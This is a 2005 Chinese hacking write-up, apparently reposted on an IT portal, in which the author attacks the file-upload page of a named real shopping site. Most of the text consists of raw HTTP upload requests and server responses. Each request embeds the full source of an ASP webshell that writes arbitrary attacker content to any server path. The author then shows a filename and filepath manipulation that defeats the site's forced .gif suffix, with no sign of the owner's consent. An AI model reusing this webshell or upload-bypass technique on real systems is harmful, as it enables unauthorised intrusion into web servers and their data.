下午5:52分,快吃晚饭了,这段时间里我比较喜欢给忙碌了一天的自己放短假,所以按照习惯就跑去几个常去的黑客站点看看文章,武汉的315安全网我还是比较喜欢的,东西比较多而且更新的也还算及时。
记得看过一次315安全网里的一位兄台做过一个他们服务器硬盘权限分配的动画,了解到是一台虚拟主机,用自己写的程序跑了跑,看看有没有什么可以利用的地方,发现了一个动感购物商城的上传页面,呵呵……
http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
就抓了个包试试看上传,包的结果如下:
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3306
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp"
Content-Type: application/octet-stream
<style type="text/css">
<!--
.unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
-->
</style>
<div align="center">
<table width="372" border="1" align="center" class="unnamed1">
<tr>
<td align="center" valign="middle"><div align="center">
<p>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>Save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\sys.asp):</font>" %>
</p>
<p>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
</p>
<p>
<% Response.write "本文件<font color=red>绝对路径:</font>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
</p>
<p>
<% Response.write "<br>" %>
<% Response.write "输入马的内容:" %>
</p>
<p>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
</p>
<p>
<% Response.write "<input type=submit value=Save>" %>
<% Response.write "</form>" %>
</p>
<p class="style7">Save File Workstation Beautify the version</p>
<p class="style6"> <span class="style8">----Power By Perl</span> </p>
</div></td>
</tr>
</table>
</div>
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
开始上传
-----------------------------7d51863950254--
按照正常的手段改数据包先进行测试,提交结果返回为:
HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Apr 2005 10:05:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 493
Content-Type: text/html
Cache-control: private
<!--
┌─ o91.com───────────────┐
│ 动感购物商务平台WWW.SNSN.NET版权所有 │
│ 设计:模糊视线13855119911 QQ:9912515 │
└────────────────────┘
-->
<link href="css.css" rel="stylesheet" type="text/css">
<font face="宋体" size=2>
<p>ADODB.Stream</font> <font face="宋体" size=2>错误 '800a0bbc'</font>
<p>
<font face="宋体" size=2>写入文件失败。</font>
<p>
<font face="宋体" size=2>/upload_wj.inc</font><font face="宋体" size=2>,行 181<
/font>
从返回数据得知根目录限制了文件写入,那我们就换一个目录,将包里的上传路径改为bookpic/sys.asp,字节改为3314,提示如下:
HTTP/1.1 200 OK
Date: Mon, 18 Apr 2005 10:07:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 472
Content-Type: text/html
Cache-control: private
<!--
┌─ o91.com───────────────┐
│ 动感购物商务平台WWW.SNSN.NET版权所有 │
│ 设计:模糊视线13855119911 QQ:9912515 │
└────────────────────┘
-->
<link href="css.css" rel="stylesheet" type="text/css">
<script>window.opener.document.myform.bookpic.value='bookpic/sys.asp200541818754
95496.gif'</script>
<script language="javascript">
window.alert("文件上传成功!请不要修改生成的链接地址!");
window.close();
</script>
嘿嘿,文件上传成功,不过你别急,看清楚包的返回数据为bookpic/sys.asp20054181875495496.gif,打开这个文件来就是我们的后门文件代码了。都到这个地方了,传不上去有点不甘心,认真看看文件名bookpic/sys.asp20054181875495496.gif,怎么样?有点想法没有?呵呵……
我们的文件后缀.asp它还保留着呢,只不过在后面给我们加上了一段长长的字符串和gif后缀,让我们的asp文件变成了gif文件。因为我没有看过这套程序的上传文件代码,所以我就靠经验来改改这个后门的数据包,让它截断后面的部分。改动之后的数据包如下:
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3316
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/wolf.asp
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp.gif"
Content-Type: application/octet-stream
<style type="text/css">
<!--
.unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
-->
</style>
<div align="center">
<table width="372" border="1" align="center" class="unnamed1">
<tr>
<td align="center" valign="middle"><div align="center">
<p>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>Save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\sys.asp):</font>" %>
</p>
<p>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
</p>
<p>
<% Response.write "本文件<font color=red>绝对路径:</font>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
</p>
<p>
<% Response.write "<br>" %>
<% Response.write "输入马的内容:" %>
</p>
<p>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
</p>
<p>
<% Response.write "<input type=submit value=Save>" %>
<% Response.write "</form>" %>
</p>
<p class="style7">Save File Workstation Beautify the version</p>
<p class="style6"> <span class="style8">----Power By Perl</span> </p>
</div></td>
</tr>
</table>
</div>
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
开始上传
-----------------------------7d51863950254--
整个包的大体并没变化,只需要将第一次修改的数据包里的G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.gif改为G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp.gif,其余不变,再传一次。上传的窗口一闪就关闭了(因为我是用了个BAT来执行提交的),嘿嘿……虽然看不到返回结果,不过我知道这个时候数据已经被我截断了,文件也正常的变成了asp。再进后门看看,浏览器显示:
该页无法显示
您试图从目录中执行 CGI、ISAPI 或其他可执行程序,但该目录不允许执行程序。
--------------------------------------------------------------------------------
请尝试以下操作:
如果您认为该目录应该允许执行访问权限,请与网站管理员联系。
HTTP 错误 403.1 - 禁止访问:执行访问被拒绝。
Internet 信息服务 (IIS)
嘿嘿……有这个显示就说明OK了,可以上传ASP文件了,之后又换了换目录试试,都不允许写入文件^_^!。这个图片目录也不允许执行我们的后门。
毕竟是安全站点的主机,在目录限制和权限设置这方面做的还可以,要不一会就被人黑了可就羞大了^_^。到这里,我做的整个测试就结束了,不知道看完了大家有什么感想,虽然并没有拿到SHELL,其实我想突出讲的一点是文章中的思路,以及平时需要的是多积累经验,在应用的再多留心一点,那发现一点点小东西并不是特别的困难^_^。(文章看的不爽的别拿鸡蛋丢,我吃的怕了,拿钱咂我好了,我穷啊~~~)。
|
|||
| · OSPF路由协议专栏 · 思科路由器产品 · 华为路由器产品 · 路由器模拟器 · AIX操作系统管理应用(.. · 思科路由器配置 · 路由器组网解决方案 · 路由器密码恢复 |
· 无线路由器故障处理 · 路由故障处理手册 · 路由器访问控制列表(AC.. · 路由器的安全配置与安.. · 无线路由器配置 · 路由器技巧 · 华为路由器配置 · 路由器配置基础 |
||
|
|||
| · Java基础教程 · VPN技术 · SQL Server 2005全解 · ARP攻击防范与解决方案 · SOA 面向服务架构 · SQL Server 2005全解 · Java编程开发手册 · 三层交换技术专题 |
· SQL Server入门到精通 · Windows Server 2003企.. · Windows远程桌面应用 · C#技术开发指南 · VPN技术 · Solaris 10 配置管理 · C#技术开发指南 · Windows操作系统安装 |
||
|
|||
| · VPN技术 · ARP攻击防范与解决方案 · SQL Server 2005全解 · Java基础教程 · SQL Server入门到精通 · SQL Server 2005全解 · SOA 面向服务架构 · Java编程开发手册 |
· C#技术开发指南 · 三层交换技术专题 · C#技术开发指南 · Windows远程桌面应用 · Windows Server 2003企.. · 邮件服务器专题 · wimax技术与趋势 · Windows操作系统安装 |
||
| ·DB2 Viper快速入门 ·DB2 9数据库的镜像分割与.. |
·将XML应用程序从DB2 8.x.. ·DB2 9中的pureXML:如何.. |
| ·服务器中的“傻瓜机”在.. ·盖茨也喜欢登录Youtube看.. |
· · |
| · 职场冲浪(之八):让感.. ·职场冲浪(之七):潜心.. |
·人生如鞋 ·职场冲浪(之六):从离梦最.. |
| ·将职业教育职业化 - 各IT.. ·思科交换机上实现MAC地址.. |
·关于51CTO合作出书中的职.. ·OSPF动态路由协议入门简介 |
| · NGN:下一代网络 · 网络访问中断大排查 · FTTx光纤接入 |
· 平凡黑客讲述精彩人生(.. · 平凡黑客讲述精彩人生(.. · 平凡黑客讲述精彩人生(.. |
| · C++是垃圾语言?! · 2007年IT界七大抄袭事件 · Java实用开发全集 |
· 解析Ajax开发框架 走进A.. · 基于Google Maps与Ajax.. · 基于Google Maps与Ajax.. |
| · Ubuntu 中文开源频道 · Solaris基础知识入门 · 微软正式发布英文版Wind.. |
· 服务器基础知识入门 · Rambus第二?看全缓冲内.. · 服务器节能对比测试:AM.. |
| · 甲骨文Oracle 11g正式发.. · Oracle数据库开发之PL/S.. · Oracle数据库开发基础教.. |
· 存储2006,一个并购的大.. · IDC宣布浪潮蝉联存储市.. · 双机热备技术 |